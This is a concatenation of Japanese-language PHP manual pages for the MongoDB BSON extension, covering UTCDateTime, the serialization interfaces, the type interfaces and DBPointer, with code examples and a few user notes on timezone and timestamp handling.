string(31) "Thu, 20 Nov 2014 01:03:31 +0000"
string(17) "1416445411.987000"
object(DateTimeZone)#3 (2) {
  ["timezone_type"]=>
  int(1)
  ["timezone"]=>
  string(6) "+00:00"
}

参考

  • » BSON Types: Date

User Contributed Notes

zeeshanyshaikh at gmail dot com 09-Aug-2016 02:58
$tz = new DateTimeZone('Asia/Kolkata'); //Change your timezone
$date = date("Y-m-d h:i:sa"); //Current Date
$a = new MongoDB\BSON\UTCDateTime(strtotime($date)*1000);

      $datetime = $a->toDateTime();
      echo '<pre>';print_r($datetime);echo '</pre>';

      $datetime->setTimezone($tz); //Set timezone
      $time=$datetime->format(DATE_ATOM);  //(example: 2005-08-15T15:52:01+00:00)

    echo "<br>". $time . "<br>";

OUTPUT :
 //Output of datetime object
 DateTime Object
 (
    [date] => 2016-08-09 14:57:06.000000
    [timezone_type] => 1
    [timezone] => +00:00
 )
//Output of time
 2016-08-09T20:27:06+05:30
emm dot deoudes at gmail dot com 27-Jun-2016 10:09
//convert retrieved time back to local time
<?php
/********************constructor**********************************/
$orig_date = new DateTime('2016-06-27 13:03:33');
$orig_date=$orig_date->getTimestamp();
$utcdatetime = new MongoDB\BSON\UTCDateTime($orig_date*1000);
/********************retrieve time in UTC**********************************/
$datetime = $utcdatetime->toDateTime();
$time=$datetime->format(DATE_RSS);
/********************Convert time local timezone*******************/
$dateInUTC=$time;
$time = strtotime($dateInUTC.' UTC');
$dateInLocal = date("Y-m-d H:i:s", $time);
echo $dateInLocal;
?>
output: 2016-06-27 13:03:33
pablo5_diaz at hotmail dot com 10-May-2016 05:49
The php Datetime object returns the timestamp with 10 digits and this method needs miliseconds in the timestamp.

Make sure that the timestamp has 13 digits.


Returns the string representation of this UTCDateTime

  • ≪ MongoDB\BSON\UTCDateTime::toDateTime
  • MongoDB\BSON\UTCDateTime::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns the string representation of this UTCDateTime

MongoDB\BSON\UTCDateTime::__toString

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime

説明

final public MongoDB\BSON\UTCDateTime::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this UTCDateTime.

例

例1 MongoDB\BSON\UTCDateTime::__toString() example

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
var_dump((string) $utcdatetime);

?>

上の例の出力は以下となります。

string(13) "1416445411987"

参考

  • » BSON Types: Date

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a UTCDateTime

  • ≪ MongoDB\BSON\UTCDateTime::__toString
  • MongoDB\BSON\Type ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Unserialize a UTCDateTime

MongoDB\BSON\UTCDateTime::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime

説明

final public MongoDB\BSON\UTCDateTime::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\UTCDateTime.

返り値

Returns the unserialized MongoDB\BSON\UTCDateTime.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\UTCDateTime::serialize() - Serialize a UTCDateTime
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Type interface

(mongodb >=1.0.0)

はじめに

Abstract base interface that should not be implemented directly.

インターフェイス概要

MongoDB\BSON\Type {
}

This interface has no methods. Its only purpose is to be the base interface for all BSON type classes.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Persistable interface

(mongodb >=1.0.0)

はじめに

Classes may implement this interface to take advantage of automatic ODM (object document mapping) behavior in the driver. During serialization, the driver will inject a __pclass property containing the PHP class name into the data returned by MongoDB\BSON\Serializable::bsonSerialize(). During unserialization, the same __pclass property will then be used to infer the PHP class (independent of any type map configuration) to be constructed before MongoDB\BSON\Unserializable::bsonUnserialize() is invoked. See Persisting Data for additional information.

注意: Even if MongoDB\BSON\Serializable::bsonSerialize() would return a sequential array, injection of the __pclass property will cause the object to be serialized as a BSON document.

インターフェイス概要

MongoDB\BSON\Persistable implements MongoDB\BSON\Unserializable , MongoDB\BSON\Serializable {
/* 継承したメソッド */
abstract public MongoDB\BSON\Serializable::bsonSerialize ( ) : array|object
abstract public MongoDB\BSON\Unserializable::bsonUnserialize ( array $data ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Serializable interface

(mongodb >=1.0.0)

はじめに

Classes that implement this interface may return data to be serialized as a BSON array or document in lieu of the object's public properties.

インターフェイス概要

MongoDB\BSON\Serializable implements MongoDB\BSON\Type {
/* メソッド */
abstract public bsonSerialize ( ) : array|object
}

目次

  • MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON

User Contributed Notes

There are no user contributed notes for this page.


Provides an array or document to serialize as BSON

  • ≪ MongoDB\BSON\Serializable
  • MongoDB\BSON\Unserializable ≫
  • PHP Manual
  • MongoDB\BSON\Serializable
  • Provides an array or document to serialize as BSON

MongoDB\BSON\Serializable::bsonSerialize

(mongodb >=1.0.0)

MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON

説明

abstract public MongoDB\BSON\Serializable::bsonSerialize ( ) : array|object

Called during serialization of the object to BSON. The method must return an array or stdClass.

Root documents (e.g. a MongoDB\BSON\Serializable passed to MongoDB\BSON\fromPHP()) will always be serialized as a BSON document. For field values, associative arrays and stdClass instances will be serialized as a BSON document and sequential arrays (i.e. sequential, numeric indexes starting at 0) will be serialized as a BSON array.

Users are encouraged to include an _id property (e.g. a MongoDB\BSON\ObjectId initialized in your constructor) when returning data for a BSON root document; otherwise, the driver or database will need to generate a MongoDB\BSON\ObjectId when inserting or upserting the document, respectively.

パラメータ

この関数にはパラメータはありません。

返り値

An array or stdClass to be serialized as a BSON array or document.

例

例1 MongoDB\BSON\Serializable::bsonSerialize() returning an associative array for root document

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
    private $id;

    function __construct()
    {
        $this->id = new MongoDB\BSON\ObjectId;
    }

    function bsonSerialize()
    {
        return ['_id' => $this->id, 'foo' => 'bar'];
    }
}

$bson = MongoDB\BSON\fromPHP(new MyDocument);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

上の例の出力は、 たとえば以下のようになります。

{ "_id" : { "$oid" : "56cccdcada14d8755a58c591" }, "foo" : "bar" }

例2 MongoDB\BSON\Serializable::bsonSerialize() returning a sequential array for root document

<?php

class MyArray implements MongoDB\BSON\Serializable
{
    function bsonSerialize()
    {
        return [1, 2, 3];
    }
}

$bson = MongoDB\BSON\fromPHP(new MyArray);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

上の例の出力は以下となります。

{ "0" : 1, "1" : 2, "2" : 3 }

例3 MongoDB\BSON\Serializable::bsonSerialize() returning an associative array for document field

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
    function bsonSerialize()
    {
        return ['foo' => 'bar'];
    }
}

$value = ['document' => new MyDocument];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

上の例の出力は以下となります。

{ "document" : { "foo" : "bar" } }

例4 MongoDB\BSON\Serializable::bsonSerialize() returning a sequential array for document field

<?php

class MyArray implements MongoDB\BSON\Serializable
{
    function bsonSerialize()
    {
        return [1, 2, 3];
    }
}

$value = ['array' => new MyArray];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

上の例の出力は以下となります。

{ "array" : [ 1, 2, 3 ] }

参考

  • MongoDB\BSON\Unserializable::bsonUnserialize() - Constructs the object from a BSON array or document
  • MongoDB\BSON\Persistable
  • Persisting Data

User Contributed Notes

Anonymous 11-Mar-2016 07:11
This documentation seems to be obsolete because I tried the first example and it doesn't convert the objectId to a string.

This seems to be more current documentation but I can't figure out how to get bson to json

http://mongodb.github.io/mongo-php-library/api/source-class-MongoDB.Model.BSONDocument.html#48-57


The MongoDB\BSON\Unserializable interface

(mongodb >=1.0.0)

はじめに

Classes that implement this interface may be specified in a type map for unserializing BSON arrays and documents (both root and embedded).

インターフェイス概要

MongoDB\BSON\Unserializable {
/* メソッド */
abstract public bsonUnserialize ( array $data ) : void
}

目次

  • MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document

User Contributed Notes

There are no user contributed notes for this page.


Constructs the object from a BSON array or document

  • ≪ MongoDB\BSON\Unserializable
  • MongoDB\BSON\BinaryInterface ≫
  • PHP Manual
  • MongoDB\BSON\Unserializable
  • Constructs the object from a BSON array or document

MongoDB\BSON\Unserializable::bsonUnserialize

(mongodb >=1.0.0)

MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document

説明

abstract public MongoDB\BSON\Unserializable::bsonUnserialize ( array $data ) : void

Called during unserialization of the object from BSON. The properties of the BSON array or document will be passed to the method as an array.

Remember to check for an _id property when handling data from a BSON document.

注意: This method acts as the constructor of the object. The __construct() method will not be called after this method.

パラメータ

data (array)

Properties within the BSON array or document.

返り値

The return value from this method is ignored.

例

例1 MongoDB\BSON\Unserializable::bsonUnserialize() example

<?php

class MyDocument implements MongoDB\BSON\Unserializable
{
    private $data = [];

    function bsonUnserialize(array $data)
    {
        $this->data = $data;
    }
}

$bson = MongoDB\BSON\fromJSON('{ "foo": "bar" }');
$value = MongoDB\BSON\toPHP($bson, ['root' => 'MyDocument']);
var_dump($value);

?>

上の例の出力は以下となります。

object(MyDocument)#1 (1) {
  ["data":"MyDocument":private]=>
  array(1) {
    ["foo"]=>
    string(3) "bar"
  }
}

参考

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • MongoDB\BSON\Persistable
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\BinaryInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\Binary but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\BinaryInterface {
/* メソッド */
abstract public getData ( ) : string
abstract public getType ( ) : int
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data
  • MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type
  • MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's data

  • ≪ MongoDB\BSON\BinaryInterface
  • MongoDB\BSON\BinaryInterface::getType ≫
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's data

MongoDB\BSON\BinaryInterface::getData

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data

説明

abstract public MongoDB\BSON\BinaryInterface::getData ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the BinaryInterface's data.

参考

  • MongoDB\BSON\Binary::getData() - Returns the Binary's data

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's type

  • ≪ MongoDB\BSON\BinaryInterface::getData
  • MongoDB\BSON\BinaryInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's type

MongoDB\BSON\BinaryInterface::getType

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type

説明

abstract public MongoDB\BSON\BinaryInterface::getType ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the BinaryInterface's type.

参考

  • MongoDB\BSON\Binary::getType() - Returns the Binary's type

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's data

  • ≪ MongoDB\BSON\BinaryInterface::getType
  • MongoDB\BSON\Decimal128Interface ≫
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's data

MongoDB\BSON\BinaryInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data

説明

abstract public MongoDB\BSON\BinaryInterface::__toString ( ) : string

このメソッドは次のメソッドのエイリアスです。 MongoDB\BSON\BinaryInterface::getData().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the BinaryInterface's data.

参考

  • MongoDB\BSON\BinaryInterface::getData() - Returns the BinaryInterface's data
  • MongoDB\BSON\Binary::__toString() - Returns the Binary's data

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Decimal128Interface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\Decimal128 but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\Decimal128Interface {
/* メソッド */
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Decimal128Interface

  • ≪ MongoDB\BSON\Decimal128Interface
  • MongoDB\BSON\JavascriptInterface ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128Interface
  • Returns the string representation of this Decimal128Interface

MongoDB\BSON\Decimal128Interface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface

説明

abstract public MongoDB\BSON\Decimal128Interface::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Decimal128Interface.

参考

  • MongoDB\BSON\Decimal128::__toString() - Returns the string representation of this Decimal128

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\JavascriptInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\Javascript but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\JavascriptInterface {
/* メソッド */
abstract public getCode ( ) : string
abstract public getScope ( ) : object|null
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code
  • MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document
  • MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's code

  • ≪ MongoDB\BSON\JavascriptInterface
  • MongoDB\BSON\JavascriptInterface::getScope ≫
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's code

MongoDB\BSON\JavascriptInterface::getCode

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code

説明

abstract public MongoDB\BSON\JavascriptInterface::getCode ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the JavascriptInterface's code.

参考

  • MongoDB\BSON\Javascript::getCode() - Returns the Javascript's code

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's scope document

  • ≪ MongoDB\BSON\JavascriptInterface::getCode
  • MongoDB\BSON\JavascriptInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's scope document

MongoDB\BSON\JavascriptInterface::getScope

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document

説明

abstract public MongoDB\BSON\JavascriptInterface::getScope ( ) : object|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the JavascriptInterface's scope document.

参考

  • MongoDB\BSON\Javascript::getScope() - Returns the Javascript's scope document

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's code

  • ≪ MongoDB\BSON\JavascriptInterface::getScope
  • MongoDB\BSON\MaxKeyInterface ≫
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's code

MongoDB\BSON\JavascriptInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code

説明

abstract public MongoDB\BSON\JavascriptInterface::__toString ( ) : string

このメソッドは次のメソッドのエイリアスです。 MongoDB\BSON\JavascriptInterface::getCode().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the JavascriptInterface's code.

参考

  • MongoDB\BSON\JavascriptInterface::getCode() - Returns the JavascriptInterface's code
  • MongoDB\BSON\Javascript::__toString() - Returns the Javascript's code

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MaxKeyInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\MaxKey but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\MaxKeyInterface {
}

This interface has no methods.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MinKeyInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\MinKey but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\MinKeyInterface {
}

This interface has no methods.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\ObjectIdInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\ObjectId but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\ObjectIdInterface {
/* メソッド */
abstract public getTimestamp ( ) : int
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this ObjectIdInterface

  • ≪ MongoDB\BSON\ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Returns the timestamp component of this ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface

説明

abstract public MongoDB\BSON\ObjectIdInterface::getTimestamp ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the timestamp component of this ObjectIdInterface.

参考

  • MongoDB\BSON\ObjectId::getTimestamp() - Returns the timestamp component of this ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Returns the hexidecimal representation of this ObjectIdInterface

  • ≪ MongoDB\BSON\ObjectIdInterface::getTimestamp
  • MongoDB\BSON\RegexInterface ≫
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Returns the hexidecimal representation of this ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface

説明

abstract public MongoDB\BSON\ObjectIdInterface::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the hexidecimal representation of this ObjectIdInterface.

参考

  • MongoDB\BSON\ObjectId::__toString() - Returns the hexidecimal representation of this ObjectId

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\RegexInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\Regex but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\RegexInterface {
/* メソッド */
abstract public getFlags ( ) : string
abstract public getPattern ( ) : string
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags
  • MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern
  • MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the RegexInterface's flags

  • ≪ MongoDB\BSON\RegexInterface
  • MongoDB\BSON\RegexInterface::getPattern ≫
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the RegexInterface's flags

MongoDB\BSON\RegexInterface::getFlags

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags

説明

abstract public MongoDB\BSON\RegexInterface::getFlags ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the RegexInterface's flags.

参考

  • MongoDB\BSON\Regex::getFlags() - Returns the Regex's flags

User Contributed Notes

There are no user contributed notes for this page.


Returns the RegexInterface's pattern

  • ≪ MongoDB\BSON\RegexInterface::getFlags
  • MongoDB\BSON\RegexInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the RegexInterface's pattern

MongoDB\BSON\RegexInterface::getPattern

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern

説明

abstract public MongoDB\BSON\RegexInterface::getPattern ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the RegexInterface's pattern.

参考

  • MongoDB\BSON\Regex::getPattern() - Returns the Regex's pattern

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this RegexInterface

  • ≪ MongoDB\BSON\RegexInterface::getPattern
  • MongoDB\BSON\TimestampInterface ≫
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the string representation of this RegexInterface

MongoDB\BSON\RegexInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface

説明

abstract public MongoDB\BSON\RegexInterface::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this RegexInterface.

参考

  • MongoDB\BSON\Regex::__toString() - Returns the string representation of this Regex

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\TimestampInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\Timestamp but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\TimestampInterface {
/* メソッド */
abstract public getIncrement ( ) : int
abstract public getTimestamp ( ) : int
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface
  • MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the increment component of this TimestampInterface

  • ≪ MongoDB\BSON\TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp ≫
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the increment component of this TimestampInterface

MongoDB\BSON\TimestampInterface::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface

説明

abstract public MongoDB\BSON\TimestampInterface::getIncrement ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the increment component of this TimestampInterface.

警告

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

参考

  • MongoDB\BSON\Timestamp::getIncrement() - Returns the increment component of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this TimestampInterface

  • ≪ MongoDB\BSON\TimestampInterface::getIncrement
  • MongoDB\BSON\TimestampInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the timestamp component of this TimestampInterface

MongoDB\BSON\TimestampInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface

説明

abstract public MongoDB\BSON\TimestampInterface::getTimestamp ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the timestamp component of this TimestampInterface.

警告

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

参考

  • MongoDB\BSON\Timestamp::getTimestamp() - Returns the timestamp component of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this TimestampInterface

  • ≪ MongoDB\BSON\TimestampInterface::getTimestamp
  • MongoDB\BSON\UTCDateTimeInterface ≫
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the string representation of this TimestampInterface

MongoDB\BSON\TimestampInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface

説明

abstract public MongoDB\BSON\TimestampInterface::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this TimestampInterface.

参考

  • MongoDB\BSON\Timestamp::__toString() - Returns the string representation of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\UTCDateTimeInterface interface

(mongodb >=1.3.0)

はじめに

This interface is implemented by MongoDB\BSON\UTCDateTime but may also be used for type-hinting and userland classes.

クラス概要

MongoDB\BSON\UTCDateTimeInterface {
/* メソッド */
abstract public toDateTime ( ) : DateTime
abstract public __toString ( ) : string
}

目次

  • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface
  • MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the DateTime representation of this UTCDateTimeInterface

  • ≪ MongoDB\BSON\UTCDateTimeInterface
  • MongoDB\BSON\UTCDateTimeInterface::__toString ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Returns the DateTime representation of this UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::toDateTime

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface

説明

abstract public MongoDB\BSON\UTCDateTimeInterface::toDateTime ( ) : DateTime

パラメータ

この関数にはパラメータはありません。

返り値

Returns the DateTime representation of this UTCDateTimeInterface. The returned DateTime should use the UTC time zone.

参考

  • MongoDB\BSON\UTCDateTime::toDateTime() - Returns the DateTime representation of this UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this UTCDateTimeInterface

  • ≪ MongoDB\BSON\UTCDateTimeInterface::toDateTime
  • MongoDB\BSON\DBPointer ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Returns the string representation of this UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface

説明

abstract public MongoDB\BSON\UTCDateTimeInterface::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this UTCDateTimeInterface.

参考

  • MongoDB\BSON\UTCDateTime::__toString() - Returns the string representation of this UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\DBPointer class (deprecated)

(mongodb >=1.4.0)

はじめに

BSON type for the "DBPointer" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON DBPointer type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

クラス概要

final MongoDB\BSON\DBPointer implements MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final private __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

目次

  • MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)
  • MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer
  • MongoDB\BSON\DBPointer::__toString — Returns an empty string
  • MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer

User Contributed Notes

There are no user contributed notes for this page.


Construct a new DBPointer (unused)

  • ≪ MongoDB\BSON\DBPointer
  • MongoDB\BSON\DBPointer::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Construct a new DBPointer (unused)

MongoDB\BSON\DBPointer::__construct

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)

説明

final private MongoDB\BSON\DBPointer::__construct ( )

MongoDB\BSON\DBPointer objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\DBPointer::__construct
  • MongoDB\BSON\DBPointer::serialize ≫
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Returns a representation that can be converted to JSON

MongoDB\BSON\DBPointer::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\DBPointer::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\DBPointer.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a DBPointer

  • ≪ MongoDB\BSON\DBPointer::jsonSerialize
